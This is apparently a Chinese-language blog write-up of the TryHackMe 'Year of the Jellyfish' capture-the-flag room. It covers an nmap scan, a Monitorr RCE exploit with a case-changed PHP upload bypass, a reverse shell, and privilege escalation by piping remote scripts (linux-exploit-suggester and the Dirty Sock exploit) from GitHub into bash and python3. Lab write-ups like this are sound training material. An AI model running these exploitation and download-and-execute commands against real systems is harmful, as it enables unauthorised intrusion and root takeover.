TryHackMe-Year of the Jellyfish

发布于 2022-12-20  284 次阅读


简介:

Some boxes sting...

房间链接:

https://tryhackme.com/room/yearofthejellyfish

问题:

挑战开始:

先扫描端口

nmap -p 1-65535 -sC -sV 18.203.98.204

└─# nmap -p 1-65535 -sC -sV 18.203.98.204
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 06:17 UTC
Not shown: 65528 filtered tcp ports (no-response)
PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  2048 46b281bee0bca7863939825bbfe56558 (RSA)
80/tcp    open  http     Apache httpd 2.4.29
|_http-title: Did not follow redirect to https://robyns-petshop.thm/
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Robyn's Pet Shop
| ssl-cert: Subject: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB
| Subject Alternative Name: DNS:robyns-petshop.thm, DNS:monitorr.robyns-petshop.thm, DNS:beta.robyns-petshop.thm, DNS:dev.robyns-petshop.thm
| Not valid before: 2022-12-20T06:10:56
|_Not valid after:  2023-12-20T06:10:56
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
8000/tcp  open  http-alt
|_http-title: Under Development!
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 15
|_    Request
8096/tcp  open  unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Date: Tue, 20 Dec 2022 06:20:08 GMT
|     Server: Kestrel
|     Content-Length: 0
|     X-Response-Time-ms: 596
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Date: Tue, 20 Dec 2022 06:19:42 GMT
|     Server: Kestrel
|     Content-Length: 0
|   GetRequest, HTTPOptions:
|     HTTP/1.1 302 Found
|     Connection: close
|     Date: Tue, 20 Dec 2022 06:19:42 GMT
|     Server: Kestrel
|     Content-Length: 0
|     Location: /web/index.html
|   Help, Kerberos, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Date: Tue, 20 Dec 2022 06:19:57 GMT
|     Server: Kestrel
|     Content-Length: 0
|   LPDString:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Date: Tue, 20 Dec 2022 06:20:08 GMT
|     Server: Kestrel
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Connection: close
|     Date: Tue, 20 Dec 2022 06:19:42 GMT
|     Server: Kestrel
|_    Content-Length: 0
22222/tcp open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8d9992528e73ed9101d3a7a08737f04f (RSA)
|   256 5ac0cca1a879ebfd6fcff8780d2f5ddb (ECDSA)
|_  256 0acab8394ecae3cf865c88b92e257a1b (ED25519)

这里最奇怪的是有两个端口开启了ssh服务
这里先需要把ip和域名加入到hosts里面

访问IP会跳转到网站上

查看下证书,发现有其他几个子域,把他们都加入hosts里面
主站看了下,都是静态页面,爆破了下目录,只找到目标站点使用了picocms,但是没有什么可利用的点
看看旁站

版本存在绕过权限控制和一个RCE

先看看RCE
直接使用脚本

python3 /root/Desktop/48980.py https://monitorr.robyns-petshop.thm/ 10.10.100.193 1234

但是发现报错了,检查了下原因是目标站点使用了ssl证书
这里我们需要抛出错误
修改代码


重新运行,发现提示成功了。

访问路径看看,并没有发现php文件

通过检查,发现存在一个cookie

继续修改脚本,把cookie加进去
继续执行,但是还是没成功。

应该是有什么阻拦了上传
使用脚本太麻烦了,尝试直接curl构造
php没成功,这里会检验是否是图像文件

这里先随意生成一个php文件尝试上传,加入图像头,但是还是不行

改成大小写,成功上传

访问网页,确实上传成功了,说明这儿检验了后缀大小写
这时候回到原先的脚本,修改下脚本
这里有个坑,原本我运行脚本的时候想回连6666端口,但是执行php没反应,最后换成监听443端口成功收到shell


开始找flag
第一个flag一开始以为在用户目录下,谁知道并不在

最终在/var/www下找到


接下来尝试提权,发现机器可以联网

直接下载linpeas,但是linpeas没有发现什么有用的东西
下载执行linux-exploit-suggester查找可以利用的提权点

wget -O - https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash

这里找到了很多可能可以利用的点

尝试了几个,都没成功
最终找到一个可以利用的

直接github下载执行

wget -O - https://raw.githubusercontent.com/initstring/dirty_sock/master/dirty_sockv2.py | python3

好像成功了
可以发现用户已经添加

改下交互,切换用户

尝试继续提权,发现可以使用sudo

直接切换root
成功读取flag

答案:

届ける言葉を今は育ててる
最后更新于 2022-12-20